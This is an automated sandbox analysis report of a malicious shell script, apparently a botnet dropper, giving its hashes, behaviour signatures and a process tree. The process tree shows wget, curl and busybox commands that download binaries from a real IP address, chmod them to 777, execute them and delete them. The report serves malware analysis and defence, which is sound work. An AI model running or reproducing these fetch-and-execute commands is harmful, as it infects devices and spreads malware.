Analysis

  • max time kernel
    9s
  • max time network
    10s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/10/2024, 02:23

General

  • Target

    39e10ef37dd81e5b6b122495f5d678e5813c416eb7129050525d72cc8dbbd335.sh

  • Size

    10KB

  • MD5

    6c8b51991fdf61d5e4d608d79172aadd

  • SHA1

    10016e44064fd77256e054fe97e269bf6b46fc5e

  • SHA256

    39e10ef37dd81e5b6b122495f5d678e5813c416eb7129050525d72cc8dbbd335

  • SHA512

    3db47a0dc66e9e868e1048b5fe9d76623218d7b22e383a0fe08a6aa839e389312ead6a4f05da171606cfb61b1898bede08be48c1fa45548d78071e0d95d8edb2

  • SSDEEP

    192:QFJGhYwT11BGFV2uRjPe7jbP8lglFJGhYw91BGFV+jPe7jvee:4oTuYP8GvNN

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 12 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/39e10ef37dd81e5b6b122495f5d678e5813c416eb7129050525d72cc8dbbd335.sh
    /tmp/39e10ef37dd81e5b6b122495f5d678e5813c416eb7129050525d72cc8dbbd335.sh
    1⤵
      PID:656
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:658
        • /usr/bin/wget
          wget http://87.120.126.196/bins/aeZ1I1LsxuEp6u0P87DE71LG7JJLz5xn5X
          2⤵
            PID:661
          • /usr/bin/curl
            curl -O http://87.120.126.196/bins/aeZ1I1LsxuEp6u0P87DE71LG7JJLz5xn5X
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:672
          • /bin/busybox
            /bin/busybox wget http://87.120.126.196/bins/aeZ1I1LsxuEp6u0P87DE71LG7JJLz5xn5X
            2⤵
              PID:680
            • /bin/chmod
              chmod 777 aeZ1I1LsxuEp6u0P87DE71LG7JJLz5xn5X
              2⤵
              • File and Directory Permissions Modification
              PID:684
            • /tmp/aeZ1I1LsxuEp6u0P87DE71LG7JJLz5xn5X
              ./aeZ1I1LsxuEp6u0P87DE71LG7JJLz5xn5X
              2⤵
              • Executes dropped EXE
              PID:685
            • /bin/rm
              rm aeZ1I1LsxuEp6u0P87DE71LG7JJLz5xn5X
              2⤵
                PID:687
              • /usr/bin/wget
                wget http://87.120.126.196/bins/i9ksxvnLd6fajtMl5LUucB6sIhiizloDAh
                2⤵
                  PID:689
                • /usr/bin/curl
                  curl -O http://87.120.126.196/bins/i9ksxvnLd6fajtMl5LUucB6sIhiizloDAh
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:691
                • /bin/busybox
                  /bin/busybox wget http://87.120.126.196/bins/i9ksxvnLd6fajtMl5LUucB6sIhiizloDAh
                  2⤵
                    PID:693
                  • /bin/chmod
                    chmod 777 i9ksxvnLd6fajtMl5LUucB6sIhiizloDAh
                    2⤵
                    • File and Directory Permissions Modification
                    PID:694
                  • /tmp/i9ksxvnLd6fajtMl5LUucB6sIhiizloDAh
                    ./i9ksxvnLd6fajtMl5LUucB6sIhiizloDAh
                    2⤵
                    • Executes dropped EXE
                    PID:695
                  • /bin/rm
                    rm i9ksxvnLd6fajtMl5LUucB6sIhiizloDAh
                    2⤵
                      PID:696
                    • /usr/bin/wget
                      wget http://87.120.126.196/bins/uNEjMYe64knx1dYJIEKB1iZ5baoxnfzEkg
                      2⤵
                        PID:697
                      • /usr/bin/curl
                        curl -O http://87.120.126.196/bins/uNEjMYe64knx1dYJIEKB1iZ5baoxnfzEkg
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:698
                      • /bin/busybox
                        /bin/busybox wget http://87.120.126.196/bins/uNEjMYe64knx1dYJIEKB1iZ5baoxnfzEkg
                        2⤵
                          PID:699
                        • /bin/chmod
                          chmod 777 uNEjMYe64knx1dYJIEKB1iZ5baoxnfzEkg
                          2⤵
                          • File and Directory Permissions Modification
                          PID:702
                        • /tmp/uNEjMYe64knx1dYJIEKB1iZ5baoxnfzEkg
                          ./uNEjMYe64knx1dYJIEKB1iZ5baoxnfzEkg
                          2⤵
                          • Executes dropped EXE
                          PID:704
                        • /bin/rm
                          rm uNEjMYe64knx1dYJIEKB1iZ5baoxnfzEkg
                          2⤵
                            PID:705
                          • /usr/bin/wget
                            wget http://87.120.126.196/bins/Egt9NKccFkPDHfXbGWlmHRz45xRh6nCB9s
                            2⤵
                              PID:707
                            • /usr/bin/curl
                              curl -O http://87.120.126.196/bins/Egt9NKccFkPDHfXbGWlmHRz45xRh6nCB9s
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:710
                            • /bin/busybox
                              /bin/busybox wget http://87.120.126.196/bins/Egt9NKccFkPDHfXbGWlmHRz45xRh6nCB9s
                              2⤵
                                PID:719
                              • /bin/chmod
                                chmod 777 Egt9NKccFkPDHfXbGWlmHRz45xRh6nCB9s
                                2⤵
                                • File and Directory Permissions Modification
                                PID:722
                              • /tmp/Egt9NKccFkPDHfXbGWlmHRz45xRh6nCB9s
                                ./Egt9NKccFkPDHfXbGWlmHRz45xRh6nCB9s
                                2⤵
                                • Executes dropped EXE
                                PID:723
                              • /bin/rm
                                rm Egt9NKccFkPDHfXbGWlmHRz45xRh6nCB9s
                                2⤵
                                  PID:724
                                • /usr/bin/wget
                                  wget http://87.120.126.196/bins/im79ZRazVFZNLMhJsN8Kx8FhssRQsJgixA
                                  2⤵
                                    PID:725
                                  • /usr/bin/curl
                                    curl -O http://87.120.126.196/bins/im79ZRazVFZNLMhJsN8Kx8FhssRQsJgixA
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:729
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.126.196/bins/im79ZRazVFZNLMhJsN8Kx8FhssRQsJgixA
                                    2⤵
                                      PID:734
                                    • /bin/chmod
                                      chmod 777 im79ZRazVFZNLMhJsN8Kx8FhssRQsJgixA
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:737
                                    • /tmp/im79ZRazVFZNLMhJsN8Kx8FhssRQsJgixA
                                      ./im79ZRazVFZNLMhJsN8Kx8FhssRQsJgixA
                                      2⤵
                                      • Executes dropped EXE
                                      PID:738
                                    • /bin/rm
                                      rm im79ZRazVFZNLMhJsN8Kx8FhssRQsJgixA
                                      2⤵
                                        PID:740
                                      • /usr/bin/wget
                                        wget http://87.120.126.196/bins/43csAKZpPM1vTtgwnj4vGXU0GWkQTUcsaX
                                        2⤵
                                          PID:741
                                        • /usr/bin/curl
                                          curl -O http://87.120.126.196/bins/43csAKZpPM1vTtgwnj4vGXU0GWkQTUcsaX
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:744
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.126.196/bins/43csAKZpPM1vTtgwnj4vGXU0GWkQTUcsaX
                                          2⤵
                                            PID:750
                                          • /bin/chmod
                                            chmod 777 43csAKZpPM1vTtgwnj4vGXU0GWkQTUcsaX
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:763
                                          • /tmp/43csAKZpPM1vTtgwnj4vGXU0GWkQTUcsaX
                                            ./43csAKZpPM1vTtgwnj4vGXU0GWkQTUcsaX
                                            2⤵
                                            • Executes dropped EXE
                                            PID:764
                                          • /bin/rm
                                            rm 43csAKZpPM1vTtgwnj4vGXU0GWkQTUcsaX
                                            2⤵
                                              PID:765
                                            • /usr/bin/wget
                                              wget http://87.120.126.196/bins/UwKMbHwWCHMpBRpxW4SjIYXyGcqdiv8zva
                                              2⤵
                                                PID:766

                                            Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • /tmp/aeZ1I1LsxuEp6u0P87DE71LG7JJLz5xn5X

                                              Filesize

                                              153B

                                              MD5

                                              998368d7c95ea4293237f2320546e440

                                              SHA1

                                              30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                              SHA256

                                              533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                              SHA512

                                              648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97